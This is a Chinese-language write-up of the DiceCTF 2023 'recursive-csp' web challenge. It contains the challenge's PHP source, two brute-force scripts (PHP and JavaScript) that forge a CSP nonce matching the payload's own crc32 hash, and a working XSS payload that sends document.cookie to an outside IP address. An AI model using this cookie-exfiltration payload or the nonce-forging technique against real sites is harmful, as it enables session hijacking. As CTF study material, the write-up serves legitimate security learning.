DiceCTF2023 Web复现

recursive-csp

1675739795243.png

访问/?source查看源码

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

获取一个name参数,长度需要小于128才会将name参数获取到的值传给$name

然后计算$name的hash,后面使用了CSP,我们nonce的值就是$name的hash

如果我们想要传入的xss能被正常执行,就必须得在标签里带有这个nonce,但nonce的值又随着payload的变化而变化,可以写个脚本爆破一下

<?php
$printables = "0123456789abcdef";
for ($a=0; $a<strlen($printables);$a++){
    $target = "";
    for ($b=0; $b<strlen($printables);$b++){
        for ($c=0; $c<strlen($printables);$c++){
            for ($d=0; $d<strlen($printables);$d++){
                for ($e=0; $e<strlen($printables);$e++){
                    for ($f=0; $f<strlen($printables);$f++){
                        for ($g=0; $g<strlen($printables);$g++){
                            for ($h=0; $h<strlen($printables);$h++){
                                $aa=substr($printables,$a,1);
                                $bb=substr($printables,$b,1);
                                $cc=substr($printables,$c,1);
                                $dd=substr($printables,$d,1);
                                $ee=substr($printables,$e,1);
                                $ff=substr($printables,$f,1);
                                $gg=substr($printables,$g,1);
                                $hh=substr($printables,$h,1);
                                $target = $aa.$bb.$cc.$dd.$ee.$ff.$gg.$hh;
                                $script = "<script nonce=$target>location.href='https://101.43.66.67:12345/?flag='+document.cookie</script>";
                                if (hash("crc32b", $script)===$target){
                                    echo hash("crc32b", $script)."\n";
                                    echo $target."\n";
                                    die($script);
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

将这个nonce设为未知数,然后来爆破hash(payload)==nonce1675740303067.png

得到一个payload为:

<script nonce=ffd2d18b>location.href='https://101.43.66.67:12345/?flag='+document.cookie</script>

此时我们可以看到,payload里的nonce是ffd2d18b,这整个payload的hash也为ffd2d18b,即满足要求

https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3Dffd2d18b%3Elocation.href%3D'https%3A%2F%2F101.43.66.67%3A12345%2F%3Fflag%3D'%2Bdocument.cookie%3C%2Fscript%3E

url编码后,放入admin bot访问即可

我的脚本是爆破nonce,r3的脚本是固定一个nonce,然后在payload后追加字符使得hash值满足这个nonce。下面是r3的脚本

import crc from "crc/crc32";

const target = "e8b7be43";
const script = `<script nonce="${target}">location.href='https://101.43.66.67:12345/?flag='+document.cookie</script>`;

const printables = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";

for (const a of printables) {
  for (const b of printables) {
    for (const c of printables) {
      for (const d of printables) {
        for (const e of printables) {
          const result = script + a + b + c + d + e;
          const digest = crc(result).toString(16);
          if (digest === target) {
            console.log(result);
            process.exit(0);
          }
        }
      }
    }
  }
}
1675740569774.png